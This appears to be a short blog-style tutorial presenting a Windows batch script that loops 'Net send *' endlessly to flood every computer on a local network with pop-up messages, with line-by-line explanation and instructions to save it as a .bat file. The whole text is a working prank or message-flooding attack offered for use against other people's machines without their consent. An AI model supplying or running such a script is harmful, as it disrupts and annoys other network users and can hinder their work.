Though you could simply copy the code below but if you wanna know how it works then here is the line-wise description.
:net
rem the line 1 declares a checkpoint that will be used later.
Net send * (Crashed Ya baby)
rem line 2 is the line that keeps sending messages to all PCs on the network
goto net
rem line 3 makes the program start from ":net" checkpoint which makes the message pop up infinite times.
Copy the code above and paste it on a notepad file and name it whatever.bat
If you encounter any issues with this please lemme know at akhandyadav.com@gmail.com
Or
The comment box is there forever.